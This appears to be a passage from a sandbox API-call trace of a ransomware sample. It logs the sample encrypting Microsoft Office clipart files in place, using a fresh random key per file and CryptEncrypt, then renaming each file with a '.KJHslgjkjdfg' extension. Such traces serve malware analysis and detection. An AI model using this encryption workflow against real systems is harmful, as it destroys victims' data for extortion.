lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.384] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.kjhslgjkjdfg")) returned 1 [0179.386] CloseHandle (hObject=0x114) returned 1 [0179.386] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0179.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.387] GetProcessHeap () returned 0x2a0000 [0179.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.387] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.387] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.387] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.390] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.390] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.390] GetProcessHeap () returned 0x2a0000 [0179.390] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.390] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.390] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.390] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.390] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.390] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.390] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.390] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.391] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.391] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.391] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.391] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.391] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x849c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x849c, lpOverlapped=0x0) returned 1 [0179.392] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x84a0, dwBufLen=0x84a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x84a0) returned 1 [0179.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.393] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x84a0, lpOverlapped=0x0) returned 1 [0179.393] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.393] SetEndOfFile (hFile=0x114) returned 1 [0179.396] GetProcessHeap () returned 0x2a0000 [0179.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.396] GetProcessHeap () returned 0x2a0000 [0179.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.kjhslgjkjdfg")) returned 1 [0179.398] CloseHandle (hObject=0x114) returned 1 [0179.398] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0179.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.399] GetProcessHeap () returned 0x2a0000 [0179.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.399] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.399] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.399] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0179.402] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.402] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.402] GetProcessHeap () returned 0x2a0000 [0179.402] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.402] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.402] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.402] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.402] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.402] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.402] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.402] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.402] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.403] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.403] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.403] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5cae, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5cae, lpOverlapped=0x0) returned 1 [0179.404] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5cb0, dwBufLen=0x5cb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5cb0) returned 1 [0179.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.404] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5cb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5cb0, lpOverlapped=0x0) returned 1 [0179.405] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.405] SetEndOfFile (hFile=0x114) returned 1 [0179.408] GetProcessHeap () returned 0x2a0000 [0179.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.408] GetProcessHeap () returned 0x2a0000 [0179.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.kjhslgjkjdfg")) returned 1 [0179.409] CloseHandle (hObject=0x114) returned 1 [0179.410] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0179.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.412] GetProcessHeap () returned 0x2a0000 [0179.412] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.412] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.412] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.412] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.412] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.412] GetProcessHeap () returned 0x2a0000 [0179.412] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.412] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.412] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.412] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.415] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.415] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.415] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.415] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.415] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.415] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.416] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8860, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8860, lpOverlapped=0x0) returned 1 [0179.417] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8860, dwBufLen=0x8860 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8860) returned 1 [0179.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.417] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8860, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8860, lpOverlapped=0x0) returned 1 [0179.418] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.418] SetEndOfFile (hFile=0x114) returned 1 [0179.421] GetProcessHeap () returned 0x2a0000 [0179.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.421] GetProcessHeap () returned 0x2a0000 [0179.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.kjhslgjkjdfg")) returned 1 [0179.423] CloseHandle (hObject=0x114) returned 1 [0179.423] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0179.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.424] GetProcessHeap () returned 0x2a0000 [0179.424] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.424] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.425] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.425] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0179.428] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.428] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.428] GetProcessHeap () returned 0x2a0000 [0179.428] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.428] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.428] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.428] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.428] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.428] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.428] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.428] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.429] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.429] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.429] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6624, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6624, lpOverlapped=0x0) returned 1 [0179.430] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6630, dwBufLen=0x6630 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6630) returned 1 [0179.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.430] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6630, lpOverlapped=0x0) returned 1 [0179.431] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.431] SetEndOfFile (hFile=0x114) returned 1 [0179.434] GetProcessHeap () returned 0x2a0000 [0179.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.434] GetProcessHeap () returned 0x2a0000 [0179.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.kjhslgjkjdfg")) returned 1 [0179.435] CloseHandle (hObject=0x114) returned 1 [0179.436] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0179.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.437] GetProcessHeap () returned 0x2a0000 [0179.437] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.437] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, 